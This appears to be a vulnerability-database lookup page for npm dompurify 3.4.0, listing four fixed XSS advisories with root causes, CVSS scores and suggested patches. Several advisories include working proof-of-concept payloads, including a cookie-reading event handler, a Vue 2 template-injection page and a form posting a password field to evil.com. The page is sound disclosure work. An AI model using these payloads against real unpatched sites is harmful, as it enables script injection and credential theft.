Lookup for vulnerable packages by Package URL.

Purlpkg:npm/dompurify@3.4.0
Typenpm
Namespace
Namedompurify
Version3.4.0
Qualifiers
Subpath
Is_vulnerablefalse
Next_non_vulnerable_versionnull
Latest_non_vulnerable_versionnull
Affected_by_vulnerabilities
Fixing_vulnerabilities
0
url VCID-68r6-dfzr-jyhh
vulnerability_id VCID-68r6-dfzr-jyhh
summary
DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback
## Summary

DOMPurify versions 3.0.1 through 3.3.3 (latest) are vulnerable to a prototype pollution-based XSS bypass. When an application uses `DOMPurify.sanitize()` with the default configuration (no `CUSTOM_ELEMENT_HANDLING` option), a prior prototype pollution gadget can inject permissive `tagNameCheck` and `attributeNameCheck` regex values into `Object.prototype`, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization.

## Affected Versions

- **3.0.1 through 3.3.3** (current latest) — all affected
- **3.0.0 and all 2.x versions** — NOT affected (used `Object.create(null)` for initialization, no `|| {}` reassignment)
- The vulnerable `|| {}` reassignment was introduced in the 3.0.0→3.0.1 refactor
- This is **distinct** from GHSA-cj63-jhhr-wcxv (USE_PROFILES Array.prototype pollution, fixed in 3.3.2)
- This is **distinct** from CVE-2024-45801 / GHSA-mmhx-hmjr-r674 (__depth prototype pollution, fixed in 3.1.3)

## Root Cause

In `purify.js` at line 590, during config parsing:

```javascript
CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};
```

When no `CUSTOM_ELEMENT_HANDLING` is specified in the config (the default usage pattern), `cfg.CUSTOM_ELEMENT_HANDLING` is `undefined`, and the fallback `{}` is used. This plain object inherits from `Object.prototype`.

Lines 591-598 then check `cfg.CUSTOM_ELEMENT_HANDLING` (the original config property) — which is `undefined` — so the conditional blocks that would set `tagNameCheck` and `attributeNameCheck` from the config are never entered.

As a result, `CUSTOM_ELEMENT_HANDLING.tagNameCheck` and `CUSTOM_ELEMENT_HANDLING.attributeNameCheck` resolve via the prototype chain. If an attacker has polluted `Object.prototype.tagNameCheck` and `Object.prototype.attributeNameCheck` with permissive values (e.g., `/.*/`), these polluted values flow into DOMPurify's custom element validation at lines 973-977 and attribute validation, causing all custom elements and all attributes to be allowed.

## Impact

- **Attack type:** XSS bypass via prototype pollution chain
- **Prerequisites:** Attacker must have a prototype pollution primitive in the same execution context (e.g., vulnerable version of lodash, jQuery.extend, query-string parser, deep merge utility, or any other PP gadget)
- **Config required:** Default. No special DOMPurify configuration needed. The standard `DOMPurify.sanitize(userInput)` call is affected.
- **Payload:** Any HTML custom element (name containing a hyphen) with event handler attributes survives sanitization

## Proof of Concept

```javascript
// Step 1: Attacker exploits a prototype pollution gadget elsewhere in the application
Object.prototype.tagNameCheck = /.*/;
Object.prototype.attributeNameCheck = /.*/;

// Step 2: Application sanitizes user input with DEFAULT config
const clean = DOMPurify.sanitize('<x-x onfocus=alert(document.cookie) tabindex=0 autofocus>');

// Step 3: "Sanitized" output still contains the event handler
console.log(clean);
// Output: <x-x onfocus="alert(document.cookie)" tabindex="0" autofocus="">

// Step 4: When injected into DOM, XSS executes
document.body.innerHTML = clean; // alert() fires
```

### Tested configurations that are vulnerable:

| Call Pattern | Vulnerable? |
|---|---|
| `DOMPurify.sanitize(input)` | YES |
| `DOMPurify.sanitize(input, {})` | YES |
| `DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: null })` | YES |
| `DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: {} })` | NO (explicit object triggers L591 path) |

## Suggested Fix

Change line 590 from:
```javascript
CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};
```

To:
```javascript
CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || create(null);
```

The `create(null)` function (already used elsewhere in DOMPurify, e.g., in `clone()`) creates an object with no prototype, preventing prototype chain inheritance.

### Alternative application-level mitigation:

Applications can protect themselves by always providing an explicit `CUSTOM_ELEMENT_HANDLING` in their config:

```javascript
DOMPurify.sanitize(input, {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: null,
    attributeNameCheck: null
  }
});
```

## Timeline

- **2026-04-04:** Vulnerability discovered during automated DOMPurify fuzzing research (Fermat project)
- **2026-04-04:** Confirmed in Chrome browser with DOMPurify 3.3.3
- **2026-04-04:** Verified distinct from GHSA-cj63-jhhr-wcxv and CVE-2024-45801
- **2026-04-04:** Advisory drafted, responsible disclosure initiated

## Credit

https://github.com/trace37labs
references
0
reference_url https://github.com/cure53/DOMPurify
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify
1
reference_url https://github.com/cure53/DOMPurify/releases/tag/3.4.0
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify/releases/tag/3.4.0
2
reference_url https://github.com/cure53/DOMPurify/security/advisories/GHSA-v9jr-rg53-9pgp
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify/security/advisories/GHSA-v9jr-rg53-9pgp
3
reference_url https://github.com/advisories/GHSA-v9jr-rg53-9pgp
reference_id GHSA-v9jr-rg53-9pgp
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-v9jr-rg53-9pgp
fixed_packages
0
url pkg:npm/dompurify@3.4.0
purl pkg:npm/dompurify@3.4.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/dompurify@3.4.0
aliases CVE-2026-41238, GHSA-v9jr-rg53-9pgp
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-68r6-dfzr-jyhh
1
url VCID-8y7q-v1h7-b7hd
vulnerability_id VCID-8y7q-v1h7-b7hd
summary
DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode
## Summary

| Field | Value |
|:------|:------|
| **Severity** | Medium |
| **Affected** | DOMPurify `main` at [`883ac15`](https://github.com/cure53/DOMPurify/tree/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6), introduced in v1.0.10 ([`7fc196db`](https://github.com/cure53/DOMPurify/commit/7fc196db0b42a0c360262dba0cc39c9c91bfe1ec)) |

`SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2.

## Technical Details

DOMPurify strips template expressions in two passes:

1. **Per-node** — each text node is checked during the tree walk ([`purify.ts:1179-1191`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1179-L1191)):

```js
// pass #1: runs on every text node during tree walk
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
  content = currentNode.textContent;
  content = content.replace(MUSTACHE_EXPR, ' ');  // {{...}} -> ' '
  content = content.replace(ERB_EXPR, ' ');        // <%...%> -> ' '
  content = content.replace(TMPLIT_EXPR, ' ');      // ${...  -> ' '
  currentNode.textContent = content;
}
```

2. **Final string scrub** — after serialization, the full HTML string is scrubbed again ([`purify.ts:1679-1683`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1679-L1683)). This is the safety net that catches expressions that only form after the DOM settles.

The `RETURN_DOM` path returns before pass #2 ever runs ([`purify.ts:1637-1661`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1637-L1661)):

```js
// purify.ts (simplified)

if (RETURN_DOM) {
  // ... build returnNode ...
  return returnNode;        // <-- exits here, pass #2 never runs
}

// pass #2: only reached by string-mode callers
if (SAFE_FOR_TEMPLATES) {
  serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');
}
return serializedHTML;
```

The payload `{<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>}` exploits this:

1. Parser creates: `TEXT("{")` → `<foo>` → `TEXT("{payload}")` → `<foo>` → `TEXT("}")` — no single node contains `{{`, so pass #1 misses it
2. `<foo>` is not allowed, so DOMPurify removes it but keeps surrounding text
3. The three text nodes are now adjacent — `.outerHTML` reads them as `{{payload}}`, which Vue 2 compiles and executes

## Reproduce

Open the following html in any browser and `alert(1)` pops up.

```html
<!DOCTYPE html>
<html>

<body>
  <script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script>
  <script>
    var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';
    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });
    document.body.appendChild(dom.firstChild);
    new Vue({ el: '#app' });
  </script>
</body>

</html>
```

## Impact

Any application that sanitizes attacker-controlled HTML with `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `RETURN_DOM_FRAGMENT: true`), then mounts the result into a template-evaluating framework, is vulnerable to XSS.

## Recommendations

### Fix

`normalize()` merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both `RETURN_DOM` and `RETURN_DOM_FRAGMENT`.

```diff
     if (RETURN_DOM) {
+      if (SAFE_FOR_TEMPLATES) {
+        body.normalize();
+        let html = body.innerHTML;
+        arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
+          html = stringReplace(html, expr, ' ');
+        });
+        body.innerHTML = html;
+      }
+
       if (RETURN_DOM_FRAGMENT) {
         returnNode = createDocumentFragment.call(body.ownerDocument);
```
references
0
reference_url https://github.com/cure53/DOMPurify
reference_id
reference_type
scores
0
value 6.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify
1
reference_url https://github.com/cure53/DOMPurify/releases/tag/3.4.0
reference_id
reference_type
scores
0
value 6.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify/releases/tag/3.4.0
2
reference_url https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8
reference_id
reference_type
scores
0
value 6.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8
3
reference_url https://github.com/advisories/GHSA-crv5-9vww-q3g8
reference_id GHSA-crv5-9vww-q3g8
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-crv5-9vww-q3g8
fixed_packages
0
url pkg:npm/dompurify@3.4.0
purl pkg:npm/dompurify@3.4.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/dompurify@3.4.0
aliases CVE-2026-41239, GHSA-crv5-9vww-q3g8
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-8y7q-v1h7-b7hd
2
url VCID-g99m-56hu-r3fg
vulnerability_id VCID-g99m-56hu-r3fg
summary DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation
references
0
reference_url https://github.com/cure53/DOMPurify
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify
1
reference_url https://github.com/advisories/GHSA-39q2-94rc-95cp
reference_id GHSA-39q2-94rc-95cp
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-39q2-94rc-95cp
2
reference_url https://github.com/cure53/DOMPurify/security/advisories/GHSA-39q2-94rc-95cp
reference_id GHSA-39q2-94rc-95cp
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify/security/advisories/GHSA-39q2-94rc-95cp
fixed_packages
0
url pkg:npm/dompurify@3.4.0
purl pkg:npm/dompurify@3.4.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/dompurify@3.4.0
aliases GHSA-39q2-94rc-95cp
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-g99m-56hu-r3fg
3
url VCID-t7hs-8fpg-jqdw
vulnerability_id VCID-t7hs-8fpg-jqdw
summary
DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:

    /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
    if (FORBID_ATTR[lcName]) {
      return false;
    }

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

    if (
      !(
        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
      ) &&
      (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
    ) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

    const DOMPurify = createDOMPurify(window);

    DOMPurify.sanitize(
      '<iframe src="https://evil.com"></iframe>',
      {
        ADD_TAGS: function(tag) { return true; },
        FORBID_TAGS: ['iframe']
      }
    );
    // Returns: '<iframe src="https://evil.com"></iframe>'
    // Expected: '' (iframe forbidden)

    DOMPurify.sanitize(
      '<form action="https://evil.com/steal"><input name=password></form>',
      {
        ADD_TAGS: function(tag) { return true; },
        FORBID_TAGS: ['form']
      }
    );
    // Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
    // Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

    DOMPurify.sanitize(
      '<p onclick="alert(1)">hello</p>',
      {
        ADD_ATTR: function(attr) { return true; },
        FORBID_ATTR: ['onclick']
      }
    );
    // Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

    /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
    if (FORBID_TAGS[tagName]) {
      // proceed to removal logic
    }

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef
references
0
reference_url https://github.com/cure53/DOMPurify
reference_id
reference_type
scores
0
value 6.0
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify
1
reference_url https://github.com/cure53/DOMPurify/releases/tag/3.4.0
reference_id
reference_type
scores
0
value 6.0
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify/releases/tag/3.4.0
2
reference_url https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m
reference_id
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
1
value 6.0
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m
3
reference_url https://github.com/advisories/GHSA-h7mw-gpvr-xq4m
reference_id GHSA-h7mw-gpvr-xq4m
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-h7mw-gpvr-xq4m
fixed_packages
0
url pkg:npm/dompurify@3.4.0
purl pkg:npm/dompurify@3.4.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/dompurify@3.4.0
aliases CVE-2026-41240, GHSA-h7mw-gpvr-xq4m
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-t7hs-8fpg-jqdw
Risk_scorenull
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/dompurify@3.4.0